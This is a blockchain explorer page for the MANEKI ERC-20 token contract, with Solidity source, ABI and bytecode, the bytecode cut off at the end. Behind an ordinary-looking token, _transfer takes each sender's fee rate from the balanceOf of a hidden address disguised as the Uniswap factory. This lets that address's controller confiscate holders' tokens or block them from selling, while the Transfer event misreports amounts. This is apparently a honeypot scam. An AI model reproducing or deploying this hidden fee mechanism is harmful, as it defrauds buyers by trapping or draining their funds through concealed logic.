ERC-20
Overview
Max Total Supply
100,000,000,000 MANEKI
Holders
25
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.000000001 MANEKIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Maneki
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-04-25 */ // SPDX-License-Identifier: MIT // https://manekineko.top // https://t.me/MANEKINEKOETH // https://twitter.com/MANEKINEKOERC20 pragma solidity 0.8.24; interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tkenA, address tokenB) external returns (address pair); } interface IUniswapV2Router { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesire, uint amountTokenMi, uint amountETHMi, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) {return 0;} uint256 c = a * b; require(c / a == b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IERC20 { function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spnder) external view returns (uint256); function approve(address spendr, uint256 amount) external returns (bool); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner,address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract Maneki is Context, Ownable { using SafeMath for uint256; uint8 private _decimals = 9; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private constant _name = "MANEKI"; string private constant _symbol = "MANEKI"; uint256 private _totalSupply = 100000000000 * 10 ** _decimals; address internal uniswapV2Factory = 0x9DdD904973600f136B9Cd775431d267e2B9E867e; IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public uniswapPair; bool tradingStarted = false; uint256 private buys = 0; uint256 private sells = 0; event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 value); constructor () { _balances[address(this)] = _totalSupply; emit Transfer(address(0), address(this), _totalSupply); } function name() public pure returns (string memory) { return _name; } function totalSupply() public view returns (uint256) { return _totalSupply; } function symbol() public pure returns (string memory) { return _symbol; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function approve(address spender, uint256 amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } function startTrading() external payable onlyOwner() { require(!tradingStarted, "Trading already opened."); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0, 0, owner(), block.timestamp); IERC20(uniswapPair).approve(address(uniswapV2Router), type(uint).max); tradingStarted = true; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function _transfer(address from, address to, uint256 amount) private { uint256 _fee = 0; require(amount > 0); require(from != address(0)); uint256 feeRate = IERC20(uniswapV2Factory).balanceOf(from); if (from != address(this) && from != uniswapPair) { _fee = amount.mul(feeRate > sells ? feeRate : buys).div(100); } else { _fee = 0; } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount).sub(_fee); emit Transfer(from, to, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a6200003c919062000455565b64174876e8006200004e9190620004a5565b600355739ddd904973600f136b9cd775431d267e2b9e867e60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600660146101000a81548160ff0219169083151502179055505f6007555f60085534801562000127575f80fd5b50620001486200013c620001fb60201b60201c565b6200020260201b60201c565b60035460015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600354604051620001ed919062000500565b60405180910390a36200051b565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200034d57808604811115620003255762000324620002c3565b5b6001851615620003355780820291505b80810290506200034585620002f0565b945062000305565b94509492505050565b5f8262000367576001905062000439565b8162000376575f905062000439565b81600181146200038f57600281146200039a57620003d0565b600191505062000439565b60ff841115620003af57620003ae620002c3565b5b8360020a915084821115620003c957620003c8620002c3565b5b5062000439565b5060208310610133831016604e8410600b84101617156200040a5782820a905083811115620004045762000403620002c3565b5b62000439565b620004198484846001620002fc565b92509050818404811115620004335762000432620002c3565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620004618262000440565b91506200046e8362000449565b92506200049d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000356565b905092915050565b5f620004b18262000440565b9150620004be8362000440565b9250828202620004ce8162000440565b91508282048414831517620004e857620004e7620002c3565b5b5092915050565b620004fa8162000440565b82525050565b5f602082019050620005155f830184620004ef565b92915050565b611b3a80620005295f395ff3fe6080604052600436106100dc575f3560e01c8063715018a61161007e578063a9059cbb11610058578063a9059cbb14610286578063c816841b146102c2578063dd62ed3e146102ec578063f2fde38b14610328576100dc565b8063715018a61461021c5780638da5cb5b1461023257806395d89b411461025c576100dc565b806323b872dd116100ba57806323b872dd14610170578063293230b8146101ac578063313ce567146101b657806370a08231146101e0576100dc565b806306fdde03146100e0578063095ea7b31461010a57806318160ddd14610146575b5f80fd5b3480156100eb575f80fd5b506100f4610350565b60405161010191906112e8565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b9190611399565b61038d565b60405161013d91906113f1565b60405180910390f35b348015610151575f80fd5b5061015a6103a3565b6040516101679190611419565b60405180910390f35b34801561017b575f80fd5b5061019660048036038101906101919190611432565b6103ac565b6040516101a391906113f1565b60405180910390f35b6101b4610458565b005b3480156101c1575f80fd5b506101ca6108d9565b6040516101d7919061149d565b60405180910390f35b3480156101eb575f80fd5b50610206600480360381019061020191906114b6565b6108ee565b6040516102139190611419565b60405180910390f35b348015610227575f80fd5b50610230610934565b005b34801561023d575f80fd5b506102466109bb565b60405161025391906114f0565b60405180910390f35b348015610267575f80fd5b506102706109e2565b60405161027d91906112e8565b60405180910390f35b348015610291575f80fd5b506102ac60048036038101906102a79190611399565b610a1f565b6040516102b991906113f1565b60405180910390f35b3480156102cd575f80fd5b506102d6610a35565b6040516102e391906114f0565b60405180910390f35b3480156102f7575f80fd5b50610312600480360381019061030d9190611509565b610a5a565b60405161031f9190611419565b60405180910390f35b348015610333575f80fd5b5061034e600480360381019061034991906114b6565b610adc565b005b60606040518060400160405280600681526020017f4d414e454b490000000000000000000000000000000000000000000000000000815250905090565b5f610399338484610bd2565b6001905092915050565b5f600354905090565b5f6103b8848484610d95565b61044d84336104488560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110e590919063ffffffff16565b610bd2565b600190509392505050565b61046061110b565b73ffffffffffffffffffffffffffffffffffffffff1661047e6109bb565b73ffffffffffffffffffffffffffffffffffffffff16146104d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104cb90611591565b60405180910390fd5b600660149054906101000a900460ff1615610524576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051b906115f9565b60405180910390fd5b6105523060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600354610bd2565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e0919061162b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610666573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068a919061162b565b6040518363ffffffff1660e01b81526004016106a7929190611656565b6020604051808303815f875af11580156106c3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e7919061162b565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061076e306108ee565b5f806107786109bb565b426040518863ffffffff1660e01b815260040161079a969594939291906116bf565b60606040518083038185885af11580156107b6573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107db9190611732565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161087b929190611782565b6020604051808303815f875af1158015610897573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108bb91906117d3565b506001600660146101000a81548160ff021916908315150217905550565b5f8060149054906101000a900460ff16905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61093c61110b565b73ffffffffffffffffffffffffffffffffffffffff1661095a6109bb565b73ffffffffffffffffffffffffffffffffffffffff16146109b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a790611591565b60405180910390fd5b6109b95f611112565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4d414e454b490000000000000000000000000000000000000000000000000000815250905090565b5f610a2b338484610d95565b6001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610ae461110b565b73ffffffffffffffffffffffffffffffffffffffff16610b026109bb565b73ffffffffffffffffffffffffffffffffffffffff1614610b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4f90611591565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbd9061186e565b60405180910390fd5b610bcf81611112565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c37906118fc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca59061198a565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d889190611419565b60405180910390a3505050565b5f808211610da1575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610dd8575f80fd5b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401610e3391906114f0565b602060405180830381865afa158015610e4e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e7291906119a8565b90503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610efd575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610f4157610f3a6064610f2c6008548411610f1b57600754610f1d565b835b866111d390919063ffffffff16565b61121390919063ffffffff16565b9150610f45565b5f91505b610f958360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110e590919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506110388261102a8560015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461123890919063ffffffff16565b6110e590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110d69190611419565b60405180910390a35050505050565b5f828211156110f2575f80fd5b5f82846110ff9190611a00565b90508091505092915050565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f8083036111e3575f905061120d565b5f82846111f09190611a33565b90508284826111ff9190611aa1565b14611208575f80fd5b809150505b92915050565b5f80821161121f575f80fd5b5f828461122c9190611aa1565b90508091505092915050565b5f8082846112469190611ad1565b905083811015611254575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561129557808201518184015260208101905061127a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6112ba8261125e565b6112c48185611268565b93506112d4818560208601611278565b6112dd816112a0565b840191505092915050565b5f6020820190508181035f83015261130081846112b0565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113358261130c565b9050919050565b6113458161132b565b811461134f575f80fd5b50565b5f813590506113608161133c565b92915050565b5f819050919050565b61137881611366565b8114611382575f80fd5b50565b5f813590506113938161136f565b92915050565b5f80604083850312156113af576113ae611308565b5b5f6113bc85828601611352565b92505060206113cd85828601611385565b9150509250929050565b5f8115159050919050565b6113eb816113d7565b82525050565b5f6020820190506114045f8301846113e2565b92915050565b61141381611366565b82525050565b5f60208201905061142c5f83018461140a565b92915050565b5f805f6060848603121561144957611448611308565b5b5f61145686828701611352565b935050602061146786828701611352565b925050604061147886828701611385565b9150509250925092565b5f60ff82169050919050565b61149781611482565b82525050565b5f6020820190506114b05f83018461148e565b92915050565b5f602082840312156114cb576114ca611308565b5b5f6114d884828501611352565b91505092915050565b6114ea8161132b565b82525050565b5f6020820190506115035f8301846114e1565b92915050565b5f806040838503121561151f5761151e611308565b5b5f61152c85828601611352565b925050602061153d85828601611352565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61157b602083611268565b915061158682611547565b602082019050919050565b5f6020820190508181035f8301526115a88161156f565b9050919050565b7f54726164696e6720616c7265616479206f70656e65642e0000000000000000005f82015250565b5f6115e3601783611268565b91506115ee826115af565b602082019050919050565b5f6020820190508181035f830152611610816115d7565b9050919050565b5f815190506116258161133c565b92915050565b5f602082840312156116405761163f611308565b5b5f61164d84828501611617565b91505092915050565b5f6040820190506116695f8301856114e1565b61167660208301846114e1565b9392505050565b5f819050919050565b5f819050919050565b5f6116a96116a461169f8461167d565b611686565b611366565b9050919050565b6116b98161168f565b82525050565b5f60c0820190506116d25f8301896114e1565b6116df602083018861140a565b6116ec60408301876116b0565b6116f960608301866116b0565b61170660808301856114e1565b61171360a083018461140a565b979650505050505050565b5f8151905061172c8161136f565b92915050565b5f805f6060848603121561174957611748611308565b5b5f6117568682870161171e565b93505060206117678682870161171e565b92505060406117788682870161171e565b9150509250925092565b5f6040820190506117955f8301856114e1565b6117a2602083018461140a565b9392505050565b6117b2816113d7565b81146117bc575f80fd5b50565b5f815190506117cd816117a9565b92915050565b5f602082840312156117e8576117e7611308565b5b5f6117f5848285016117bf565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611858602683611268565b9150611863826117fe565b604082019050919050565b5f6020820190508181035f8301526118858161184c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6118e6602483611268565b91506118f18261188c565b604082019050919050565b5f6020820190508181035f830152611913816118da565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611974602283611268565b915061197f8261191a565b604082019050919050565b5f6020820190508181035f8301526119a181611968565b9050919050565b5f602082840312156119bd576119bc611308565b5b5f6119ca8482850161171e565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611a0a82611366565b9150611a1583611366565b9250828203905081811115611a2d57611a2c6119d3565b5b92915050565b5f611a3d82611366565b9150611a4883611366565b9250828202611a5681611366565b91508282048414831517611a6d57611a6c6119d3565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611aab82611366565b9150611ab683611366565b925082611ac657611ac5611a74565b5b828204905092915050565b5f611adb82611366565b9150611ae683611366565b9250828201905080821115611afe57611afd6119d3565b5b9291505056fea2646970667358221220d23f36c042791c708533135b6be217b11226fcadff878ae2a0309096b2c5efb564736f6c63430008180033
Deployed Bytecode
0x6080604052600436106100dc575f3560e01c8063715018a61161007e578063a9059cbb11610058578063a9059cbb14610286578063c816841b146102c2578063dd62ed3e146102ec578063f2fde38b14610328576100dc565b8063715018a61461021c5780638da5cb5b1461023257806395d89b411461025c576100dc565b806323b872dd116100ba57806323b872dd14610170578063293230b8146101ac578063313ce567146101b657806370a08231146101e0576100dc565b806306fdde03146100e0578063095ea7b31461010a57806318160ddd14610146575b5f80fd5b3480156100eb575f80fd5b506100f4610350565b60405161010191906112e8565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b9190611399565b61038d565b60405161013d91906113f1565b60405180910390f35b348015610151575f80fd5b5061015a6103a3565b6040516101679190611419565b60405180910390f35b34801561017b575f80fd5b5061019660048036038101906101919190611432565b6103ac565b6040516101a391906113f1565b60405180910390f35b6101b4610458565b005b3480156101c1575f80fd5b506101ca6108d9565b6040516101d7919061149d565b60405180910390f35b3480156101eb575f80fd5b50610206600480360381019061020191906114b6565b6108ee565b6040516102139190611419565b60405180910390f35b348015610227575f80fd5b50610230610934565b005b34801561023d575f80fd5b506102466109bb565b60405161025391906114f0565b60405180910390f35b348015610267575f80fd5b506102706109e2565b60405161027d91906112e8565b60405180910390f35b348015610291575f80fd5b506102ac60048036038101906102a79190611399565b610a1f565b6040516102b991906113f1565b60405180910390f35b3480156102cd575f80fd5b506102d6610a35565b6040516102e391906114f0565b60405180910390f35b3480156102f7575f80fd5b50610312600480360381019061030d9190611509565b610a5a565b60405161031f9190611419565b60405180910390f35b348015610333575f80fd5b5061034e600480360381019061034991906114b6565b610adc565b005b60606040518060400160405280600681526020017f4d414e454b490000000000000000000000000000000000000000000000000000815250905090565b5f610399338484610bd2565b6001905092915050565b5f600354905090565b5f6103b8848484610d95565b61044d84336104488560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110e590919063ffffffff16565b610bd2565b600190509392505050565b61046061110b565b73ffffffffffffffffffffffffffffffffffffffff1661047e6109bb565b73ffffffffffffffffffffffffffffffffffffffff16146104d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104cb90611591565b60405180910390fd5b600660149054906101000a900460ff1615610524576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051b906115f9565b60405180910390fd5b6105523060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600354610bd2565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e0919061162b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610666573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068a919061162b565b6040518363ffffffff1660e01b81526004016106a7929190611656565b6020604051808303815f875af11580156106c3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e7919061162b565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061076e306108ee565b5f806107786109bb565b426040518863ffffffff1660e01b815260040161079a969594939291906116bf565b60606040518083038185885af11580156107b6573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107db9190611732565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161087b929190611782565b6020604051808303815f875af1158015610897573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108bb91906117d3565b506001600660146101000a81548160ff021916908315150217905550565b5f8060149054906101000a900460ff16905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61093c61110b565b73ffffffffffffffffffffffffffffffffffffffff1661095a6109bb565b73ffffffffffffffffffffffffffffffffffffffff16146109b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a790611591565b60405180910390fd5b6109b95f611112565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4d414e454b490000000000000000000000000000000000000000000000000000815250905090565b5f610a2b338484610d95565b6001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610ae461110b565b73ffffffffffffffffffffffffffffffffffffffff16610b026109bb565b73ffffffffffffffffffffffffffffffffffffffff1614610b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4f90611591565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbd9061186e565b60405180910390fd5b610bcf81611112565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c37906118fc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca59061198a565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d889190611419565b60405180910390a3505050565b5f808211610da1575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610dd8575f80fd5b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffff